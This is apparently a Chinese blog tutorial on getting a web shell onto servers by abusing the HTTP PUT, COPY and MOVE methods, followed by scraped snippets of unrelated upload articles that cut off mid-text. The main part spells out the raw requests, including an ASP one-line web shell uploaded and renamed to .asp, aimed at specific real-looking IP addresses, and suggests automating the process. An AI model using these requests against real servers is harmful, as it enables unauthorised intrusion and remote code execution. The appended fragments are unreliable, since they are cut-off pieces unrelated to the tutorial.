HTTP - PUT 上传文件/Shell (二)

上一篇文章 HTTP - PUT 上传文件/Shell 讲到自己搭了一个环境,去测试HTTP - PUT上传Shell。最近又遇到几个PUT上传的例子,也成功上传了几次,来分享一下思密达。

0x00 判断是否允许HTTP PUT

发送这样的一份报文到服务器,查看服务器返回:

OPTIONS / HTTP/1.1
Host: 192.168.9.151:8086
Connection: Keep-alive
Accept: text/plain
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5

如果返回值是200,就可以进行下一步尝试

0x10 HTTP - PUT 上传

根据语言的类型,需要上传不同类型的文件,不过先不急,试试上传一个txt文件。

PUT /test.txt HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010

<% execute(request("value")) %>

如果上传成功了,再好不过。不成功的话,有可能是因为HTTP请求头的问题。根据返回代码,可以参考 https://msdn.microsoft.com/en-us/library/aa142816(v=exchg.65).aspx

成功之后,再根据服务器语言上传对应的木马:

PUT /test.asp HTTP/1.1
Content-Length: 31
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: 218.94.36.38:9010

<% execute(request("value")) %>

即使格式都对,也有可能上传失败,服务器可能做了一些配置。不急,且往下看

0x20 HTTP - COPY/MOVE

这时候,第一次上传成功的test.txt文件就起作用了。

COPY /test.txt HTTP/1.1
Host: test.com
Destination:  http://test.com/test.asp
Overwrite: T

或者采用MOVE:

MOVE /dir_name/test.aspx HTTP/1.1
Destination: /test.aspx
Host: test.com

注意MOVE的时候,要求两个文件不在同一个文件夹内。

大概走到这儿,能传上去的,就传上去了= =传不上去的,可以试试 HTTP METHOD 中其他的方法

0x30 其他

其实可以考虑做一个浏览器插件或者python写个小工具,打开页面的时候自动检测网站是否允许奇奇怪怪的HTTP Method或者自动化的去上传。后续,还会继续分享~~~

祝好运~<( ̄3 ̄)>

时间: 2024-11-05 18:41:45

HTTP - PUT 上传文件/Shell (二)的相关文章

Android网络编程之使用HttpClient批量上传文件(二)AsyncTask+HttpClient并实现上传进度监听

请尊重他人的劳动成果,转载请注明出处: Android网络编程之使用HttpClient批量上传文件(二)AsyncTask+HttpClient并实现上传进度监听 运行效果图: 我曾在<Android网络编程之使用HttpClient批量上传文件>一文中介绍过如何通过HttpClient实现多文件上传和服务器的接收.在上一篇主要使用Handler+HttpClient的方式实现文件上传.这一篇将介绍使用AsyncTask+HttpClient实现文件上传并监听上传进度. 监控进度实现: 首先

c#上传文件(二)使用二进制流保存文件

1.html代码: <asp:FileUpload runat="server" ID="UpLoadFile"/> <asp:Button runat="server" ID="btnUpLoad" OnClick="btnUpLoad_Click" Text="上传"/> html代码 2.后台代码: public partial class UpLoadFi

shell案例 - 统计用户上传文件的时间

问题与需求: 一个web服务跑论坛,每天都有很多用户会上传文件到服务器里,假设这些文件会保存在/data/www/attachment目录下,我想知道用户大概会在什么时候上传文件? 从而了解用户的行为习惯 解决思路: 1. 判断新文件是否被上传到了服务器里?以5分钟为一个间隔,进行检测. 2. 确定这些文件是什么时候被上传的? 3. 将新文件的列表输出到一个按年.月.日.时.分为名字的日志里,以方便我们进行查看分析 4. 写一个shell脚本来帮我们自动实现这个检测和记录的过程,当然只检测一次是

C#远程执行Linux系统中Shell命令和SFTP上传文件

一.工具:SSH.Net 网址:https://github.com/sshnet/SSH.NET 二.调用命令代码: Renci.SshNet.SshClient ssh = new Renci.SshNet.SshClient("192.168.1.104", "sindrol", "123456"); ssh.Connect(); while (true) { Console.WriteLine("please input com

批量上传文件到HDFS的Shell脚本

在做Hadoop数据挖掘项目的时候,我们第一步是源数据的获取,即把相应的数据放置到HDFS中,以便Hadoop进行计算,手动将文件上传到HDFS中,未免太费时费力,所以我们可以采取像Flume一样的框架,或者采用Shell脚本进行文件的上传.下面主要提供Shell脚本的大致写法,仅供参考,可以根据不同业务进行相应的修改. 版本1: #!/bin/bash #set java env export JAVA_HOME=/export/servers/jdk export JRE_HOME=${JA

Flex和Servlet结合上传文件报错(二)

1.具体报错如下 一个表单域 不是一个表单域 java.io.FileNotFoundException: D:\MyEclipse\workspace\FlexFileUpload\Web\uploadFolder\鏌卞舰鍥?xls (文件名.目录名或卷标语法不正确.) at java.io.FileOutputStream.open(Native Method) at java.io.FileOutputStream.<init>(FileOutputStream.java:179) at

android 上传文件&quot;Content-Type&quot;,为&quot;application/octet-stream&quot; 用php程序在服务端用$GLOBALS[&#39;HTTP_RAW_POST_DATA&#39;]接受(二)

服务端php程序file_up.php function uploadFileBinary() { $this->initData(); $absoluteName = ""; $fid = ""; $handleWrite = null; if(!empty($GLOBALS['HTTP_RAW_POST_DATA']) && strlen($GLOBALS['HTTP_RAW_POST_DATA'])>0) { if(!empty($

Hessian学习总结(二)——使用hessian上传文件

hessian较早版本通过 byte[] 进行文件传输:4.0之后支持 InputStream 作为参数或返回值进行传输. 注意:hessian会读取整个文件,如果文件过大,会导致JVM内存溢出.可以通过控制上传文件的大小,设置合理的JVM参数,以及采用随机读取方式来解决. 一.创建Hessian服务端 创建一个FileUploader Web项目作为文件上传的服务端,如下图所示: 1. 1.创建文件上传服务接口FileUploadServiceI FileUploadServiceI接口代码如

shell中利用ftp 上传文件夹功能

我们知道ftp 只能用来上传或者下载文件,一次单个或者多个,怎么实现将文件夹的上传和下载呢? 可以利用先在remote ip上建立一个相同的文件夹目录,然后将文件放到各自的目录中去 1.循环遍历出要上传的文件夹中的文件夹目录 2.遍历出每个文件夹下的文件 3.逐一上传文件 ftp 命令 图中有众多的交互,我们不想让他显示这些交互 可以使用参数 屏蔽掉 ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer